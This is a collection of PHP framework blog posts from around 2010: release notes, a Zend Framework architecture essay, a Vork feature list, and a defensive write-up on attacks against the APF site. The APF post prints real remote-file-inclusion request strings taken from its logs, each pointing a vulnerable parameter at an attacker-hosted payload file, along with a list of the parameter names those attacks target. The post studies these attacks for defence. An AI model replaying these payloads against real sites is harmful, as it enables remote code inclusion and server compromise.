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crVCL PHP Framework Nightly build archive
Aug 21st, 2010 by IcemanX

crVCL PHP Framework Nightly build archive

Immediate are the “crVCL PHP framework” and the “crMySQL Toolkit” as nightly build archive formats bz2, zip and gz  available. See http://www.cr-solutions.net/pages/projects.php or http://hg.cr-solutions.net

To see the full change log and download the new stable version go to http://code.google.com/p/crvcl/

Website: http://www.cr-solutions.net

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    Spawn-Framework 1.2.4 released!
    Aug 18th, 2010 by spawnm

    Spawn php Framework

    The most important changes on new version:

    Add init(); and end(); methods to Spawn core.
    (Click here to learn more: First controller and action)

    Modyfication sf_file:
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    Update sf_template to auto-render $this->view.

    sf_view:
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    Here is more about the features:
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    PHP5 – yes
    MVC – yes
    Multiple DB’s – yes (pdo)
    ORM – yes
    DB Objects – yes
    Templates – no
    Caching – yes
    Validation – yes
    Ajax – yes (jquery)
    Auth Module – yes
    Modules – no
    EDP – no

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      Zend Framework Architecture
      Mar 5th, 2010 by wood

      Introduction

      Before we begin our exploration of the architecture of the Zend Framework (ZF), it is important to discuss how a typical MVC application is built. Examining and understanding the architecture of an MVC Web application allows you to make more contextually sound choices when building your application.

      Three-tier Architecture

      The three-tier architecture focuses on defining responsibilities between different parts of the application. It has the following tiers:

      Presentation Tier
      The top-most level of the application is the UI. The main function of the interface is to translate tasks and results to something the user can understand.

      Application Tier
      This layer coordinates the application, processes commands, makes logical decisions and evaluations, and performs calculations. It also moves processes data between the two surrounding layers.

      Data Tier
      Here information is stored and retrieved from a database or file system. The information is then passed back to the logic tier for processing, and then eventually back to the user.

      Model-View-Controller Architecture

      Although the three-tiers is similar to the MVC architecture, they are different. Conceptually the three-tier architecture is linear. The Presentation tier never communicates directly with the data tier and all communication must pass through the Application tier. However, the MVC architecture is triangular: the View sends updates to the Controller, the Controller updates the Model, and the View gets updated directly from the Model.

      Zend Framework

      Zend Framework provides components for the MVC and Table Gateway design patterns which are used in most Web applications. Developed by Zend Technologies and released in 2005, Zend Framework is heavily based on the Solar Framework, developed by Paul M. Jones, reason why they share a similar underlying architecture.

      There are 3 types of Web application frameworks:

      1. The ones that offer a solid infrastructure: Symfony, Solar, Ruby on Rails and Django.
      2. The ones that offer a component library: ezComponents and PEAR.
      3. The ones that offer both: Zend Framework.

      Zend Framework not only offers a solid infrastructure, but also an extensive component library. The component structure of ZF is somewhat unique, each component is designed with few dependencies on other components. This loosely-coupled architecture allows developers to use components individually.

      Architecture

      The framework architecture is based on the Front Controller and Model-View-Controller architectural patterns:

      MVC pattern

      The Model is the part of the application that defines its basic functionality behind a set of abstractions. The data access layer and some business logic is defined in the Model. The Views define exactly what is presented to the user. Usually controllers pass data to each view to render in some format. The Controllers bind the whole pattern together. They may manipulate models, decide which view to display based on the user’s request and other factors, pass along the data that each view will need, or hand off control to another controller entirely.

      Front Controller pattern

      Zend_Controller is the heart of Zend Framework’s MVC system. Zend_Controller_Front implements a Front Controller pattern, in which all requests are intercepted by the front controller and dispatched to individual Action Controllers based on the URL requested.

      Coupling

      ZF provides a loosely-coupled component library simplified to provide most of the functionality everyone needs to develop Web applications. In object-oriented programming coupling or dependency is the degree to which each component relies on each one of the other components. The biggest advantage of a loosely-coupled architecture is that it allows developers to use components individually.

      Neil Garb did an excellent job measuring the level of coupling in the Zend Framework based on the number of dependencies set in code. I’ve extended his work by measuring the level of coupling between components set at runtime. I’m using the Inclued extension to trace through the hierarchy of file inclusions and class inheritance at runtime.

      The following diagrams where generated using Graphviz:

      Zend_Controller dependencies

      Zend_Controller and Zend_Db dependencies

      Zend_Controller, Zend_Db and Zend_From dependencies

      A standard Zend Framework application requires the following components: Zend_Controller, Zend_Uri, Zend_Registry, Zend_Loader, Zend_Config, Zend_Layout, Zend_View, Zend_Filter, Zend_Validate, Zend_Db, Zend_Form and Zend_Exception.

      Criticism

      Zend Framework is intended to serve as a novel way to manage Web development complexity. Many consider ZF to deliver reasonably well on this promise, however, it does not universally accommodate all design styles, environments or requirements.

      Performance

      The performance of a framework is influenced by many factors, particularly the configuration of your servers. However, the design of an application can make a big difference and determine whether your site is slow or highly responsive. Recent benchmarks show that the Zend Framework is slower than other Web frameworks.

      Although low coupling is a sign of a well-structured system, it may reduce performance, and a highly-coupled system is sometimes desirable to achieve maximum efficiency. Regardless, in many modern frameworks, the cost of reduced performance is often seen as a worthy trade for the benefits to the software development process that result from low coupling.

      Design

      Although the framework supports modularity, it lacks of some basic features, such as a Module Coordinator. The system doesn’t include any component or configuration mechanism to deal with Model and Controller dependencies, making it very difficult to share modules between applications. Also, Zend_Controller doesn’t allow modular systems to load model files from within its own module as well as outside modules.

      The system lacks of local containers to manage object dependencies and interrelationships. Instead, it uses a global container to store objects. According to Troels Knak-Nielsen, the problem with this is that a global container, whether primitive or sophisticated, will always be a global symbol. Most programmers will agree that global variables are bad design, and that goes for a global containers as well.

      Namespaces

      With PHP 5.3 coming up on the horizon, the Zend Framework API faces a re-design. While namespaces will hopefully lead to more readable code, Zend developers will finally need to start thinking about some standards for abstract classes and interfaces.

      Links

      Vork, open-source PHP framework designed for rapid development of performance-oriented scalable applications
      Feb 24th, 2010 by NewUser

      Vork Enterprise PHP Framework

      Vork is an open-source PHP framework designed for rapid development of performance-oriented scalable applications.

      The mission of Vork is to provide an MVC architecture and full-featured toolkit in a gimmick-free no-frills approach without adding overhead, creating slow & unscalable abstraction layers or re-inventing native PHP functionality.

      Rapid Application Development

      • Native PHP interface with intuitive naming convention, no need to learn new terminology or syntax
      • Hello World! in 5-minutes or less with LAMP/WAMP configuration
      • Developers that already know PHP can use Vork productively within minutes

      Performance-Oriented, Scalable, Green and Economical

      • Green-IT: Vork applications serve more traffic with less servers!
      • Enterprise-grade Vork platform has no slow abstraction layers or re-invented PHP functionality
      • Out-of-the-box response time for a Hello World! including making a database connection is typically just 0.0065 seconds!
      • Built-in support for multiple master/slave database configurations with tools to enforce security and increase SQL-statement efficiency
      • Automatically loads code & objects that are needed for the instance and not a byte more!
      • Vork can be configured to operate without any disk-IO to further reduce load time

      Standards-Compliant

      • XHTML 1.1
      • PHP 5.0 – 5.3+
      • E_ALL | E_STRICT
      • Section 508
      • W3C WAI
      • Full MVC stack including layouts and components
      • All tools produce valid XHTML 1.1 with semantically-correct markup
      • Accessibility is automated as much as possible to meet Section 508 and W3C WAI standards
      • Code is open-source, built for PHP 5 and fully documented using the phpDocumentor DocBlock standard
      • Universal database support without abstraction layers; ability to easily change database brands at any time
      • Object-oriented source code is E_ALL | E_STRICT and adheres to the Zend Framework Coding Standards
      • Concise URL format is ideal for search engine optimization (SEO) and is easy to communicate verbally
      • CakePHP and Zend Framework objects can be imported into Vork; Vork Helpers and components can be used within Zend Framework and CakePHP
      • CSS-reset with default styles to provide cross-browser display consistency verified in Firefox, Google Chrome, Safari (OS X, iPhone & Windows) and IE6, 7 & 8

      Extensive Toolset

      • E-commerce tools to validate & charge credit cards, accept PayPal payments, get UPS shipping rates, track a package, generate QR codes & more!Vork can generate QR codes and 3D charts!
      • Simplified use of Google tools: Maps, Charts, Analytics, AdSense, Sitemap, Payments, Translate
      • Amazon Web Services connection interface with automated caching mechanism
      • One-line of code turns any controller or action into a full-featured Wiki including a Wiki search engine
      • Forms maintain state automatically + ample tools include a WYSIWYG textarea that produces valid XHTML 1.1 markup and works in every browser
      • Internationalization (i18n) – multilingual forms allow users to easily type characters in other alphabets by pressing the phonetically-equivalent English keys
      • Integration with all mainstream JavaScript frameworks: YUI, jQuery, Prototype, MooTools, script.aculo.us, Dojo, SWFObject, Ext Core, Chrome Frame
      • Universal log-in/log-out/forgot-password utility
      • Turn any page of your application into a URL shortening site
      • User input validity is verified both in JavaScript (for user-experience) and in PHP (for security) – form validation rules are only written once
      • Extensive HTML helper functions including generation of Twitter Tweet links, tag clouds and simplified embedding of Adobe Flash
      • Consistent interface to many 3rd-party tools including Meetup event management & sharing boxes like: // Bookmark and Share
      • Email tools including outgoing-mail templates that operate like MVC-elements & spam-proof email address display tools
      • AJAX tools including inline language translation and simplified data-loading
      • Completely automatic SSL-link management to simplify transitions between https:// and http:// pages
      • Image management tools to watermark an uploaded image + generate multiple images in different sizes (fullsize, thumbnail, etc.)
      • POST utility to simplify connecting to web services
      • Effortless media integration including Flickr feeds, YouTube videos and embedding an MP3 player
      • Default 404 “not found” page has a Google Search box pre-populated to search your site for content related to the missing page
      • RSS layout makes it easy for any PHP array to become an RSS 2.0 or Atom feed; RSS reader makes quick work of syndicating feeds
      • Debugging tools that output to your Firefox Firebug console

      Requirements

      • PHP – any version between 5.0.2 and 5.3.x
      • A database is optional and any database or cloud-DB that is supported by PHP will work with Vork
      • Works on any web server (Apache, Microsoft IIS, etc.)
      • Works with any operating system (Linux, Windows, Mac OS X, FreeBSD, etc.)
      • Integrated caching through any package with a PHP interface (Memcached, etc.)
      Hacking & the APF 2009/2010
      Jan 30th, 2010 by christian

      1. Introduction

      In 2009, a drastic increase of XSS and code injection attacks could be recognized on the APF web site. Analyzing the log files, we found 92,334 known attacks that were catched by the framework and a total number of 672,152 attacks.

      APF security award The APF Security Promise: Use the APF and profit by its security mechanisms! From scratch securely designed applications prevent the compromise of your system, guarantee the safety of your users data and of your reputation and let you put your mind at ease.

      This article describes, which mechanisms are included in the APF to face this danger and to secure your custom application.

      2. Attacks

      2.1. Kind of attacks

      As described in the article Hacking & das APF (German), most of the attacks are XSS and code injection attacks. They try to exploit vulnerabilities to inject third party content or code into the target application. Fortunately, the signature of these attacks is similar in 95% of the attacks. Here is the pattern description:

      Code
      1
      [?|&]vulnerability_param=http://domain.tld/some/path/injection_code.ext

      Merely, the name of the parameter differs from request to request:

      • tpl_pgb_moddir
      • page
      • mosConfig_absolute_path
      • sourcedir
      • file
      • dir[inc]
      • includedir
      • phpbb_root_path
      • _SERVER[DOCUMENT_ROOT]
      • _zb_path
      • cfg[path][contenido]
      • base_folder
      • spaw_root
      • includePath

      The subsequent code box contains a selection of urls, that have been used to display third party content on the APF web page or to inject third party code into the APF:

      1
      /!rfihttp://www.nicheresaleprofits.com/cbmarketer/image/id?? /!scan23http://sito.blackdrag0n.net/Cartoon/idnew.txt? /%20%20//////?_SERVER[DOCUMENT_ROOT]=http://www.koreadefence.net/data/shirohige/zfxid.txt?? /%20%20//?_shop_path=http://emwave.knu.ac.kr/bbs/skin/happycast_category_brown/fx29id.txt??? /%20%20//?mosconfig_absolute_path=http://largeface.com/gnuboard4/gnus/fxid.txt? /%20%20//inc/functions_inc.php?gb_pfad=http://82.146.51.16/scan/copyright.txt?? /%20%20//includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=http://www.junggosum.com/bbs/data/sports_2/idxx.txt?? /%20%20//modules/Forums/admin/index.php?phpbb_root_path=http://n34.biz/id1.txt??? /%20%20//tools/send_reminders.php?noSet=0&includedir=http://jnhsolutions.com.au/datingsite/temp/userimages/1.txt?? /%20%20/e404.php?DOCUMENT_ROOT=http://alandar.net/www2/log1.txt? /?mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/ArEa511/ideal.txt???? /?dir_ws=http://champrond-en-gatine.org//administrator/components/com_joomla-visites/core/include/updates/v6id.txt?????? /?_zb_path=http://kb27.co.kr/bbs///data/cok.txt?? /tools/send_reminders.php?includedir=http://208.98.22.241/id.txt??%0D?? /?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://204.3.167.134/xxx? /modules/My_eGallery/index.php?basepath=http://urogyn.co.kr/uro/install/idxx.txt?? /show_news.php?cutepath=http://laloggia.by.ru/up/ctrl.txt?? /skin/zero_vote/setup.php?dir=http://206.126.97.21/~talagaho/id.txt??? /Neos_Chronos/header.php?base_folder=http://www.jocainmo.es/img/.z/d?? /buscar.php?query=http://www.candidography.com/id1.txt?? /?_PHPLIB[libdir]=http://cdshop.net.ru////cron/hjr.txt?? /inc/cmses/aedating4CMS.php?dir[inc]=http://daiyangmetal.co.kr/intranet/zb/skin/ggambo5100_gallery//colby/id.txt?? /naboard_pnr.php?skin=http://www.cinepopbrasil.com.br/sistem.txt??? /phpSecurePages/secure.php?&cfgProgDir=http://www.steannareptile.it//administrator/idi.txt??? /phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://tdaa.by.ru/safe.txt??? /skin/ggambo7002_board/contact.php?dir=http://hana.nef-i.co.kr/pds/zfxid1.txt?? /jahoot.com/search.php?=http://www.chicagofc.co.kr/fitness/data/come/fx29id1.txt?? /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://laloggia.by.ru/up/ctrl.txt?? /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?http://musicadelibreria.net/footer?? /Page//wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://kb27.co.kr/bbs///data/cok.txt??

      The files xss_report_2009_with_urls_grouped.txt.gz and xss_report_2009_with_urls_uniq.txt.gz contain a variety of urls, that have been used during 2009 attacks. xss_report_2009_with_urls_uniq.txt.gz contains a complete list of urls, xss_report_2009_with_urls_grouped.txt.gz contains a grouped list with identical base urls.

      2.2. Reported attacks

      After having checked Apache’s access logfiles, we started to analyze the application log files. This effort resulted in 3 groups of attacks. All of them tried to manipulate the url to inject content or code to the application:

      1
      parse_url(/Seite/048-Webseite-erstellen%20%20/page.php?doc=http://unixstats.org/tools/idxx.txt??): Unable to parse URL (Number: 2, File: ***/apps/tools/link/frontcontrollerLinkHandler.php, Line: 306) [Document::__loadContentFromFile()] Design "Seite" not existent in namespace "modules::comments::pres::templates"! Please check your template code (<29e6fe038415c51c1bbac0271949edf5 /><a name="comments"></a><h2><html:getstring namespace="modules::comments" config="language" entry="header.title" /></h2><68a3d33630357505bfe4dd96dbcb492e />). (Number: 256, File: ***/apps/core/pagecontroller/pagecontroller.php, Line: 1378) [Frontcontroller::__parseActions()] No config section for action key "setLangu" available in configuration file "***_actionconfig.ini" in namespace "sites::demosite::biz::actions" and context "sites::***"! (Number: 256, File: ***/apps/core/frontcontroller/Frontcontroller.php, Line: 555)

      The first line is a try-out to inject external code. If the offender would have been successful, the code is used to spy out information about the webserver and the application running on the machine. Subsequent request are then used to explicitly manipulate the application and the content.

      In case the developer uses URL rewriting, such attacks ara quite worthless, because the InputFilter rewrites the url to a generic param value couple.

      In case the developer uses the APF components like the LinkHandler or the FrontcontrollerLinkHandler, urls like presented above are recognized semantically invalid and an error is thrown. This error can be caugth and logged by the integrated Error handling very easily.

      The second line describes the attempt to manipulate a known parameter of the application to display third party content. Potentially, the APF offers the chance to manipulare the template included by the <core:importdesign /> taglib by changing the url, but the template path is created with security in mind.

      In the third line the attacker tries to manipulate a param of a front controller action to execute the desired action. Within the APF, actions are defined within a configuration file and the url params only refer to this configuration. Hence, it is not possible to successfully manipulate an action call by url.

      3. Error handling

      In order to not provide much information to the attacker, it is recommended to implement a special ErrorHandler that logs the upcoming errors to a log file and keeps quiet on the cause of the error.

      The wiki page Script kiddies ErrorHandler (German) describes, how you can implement such a ErrorHandler.



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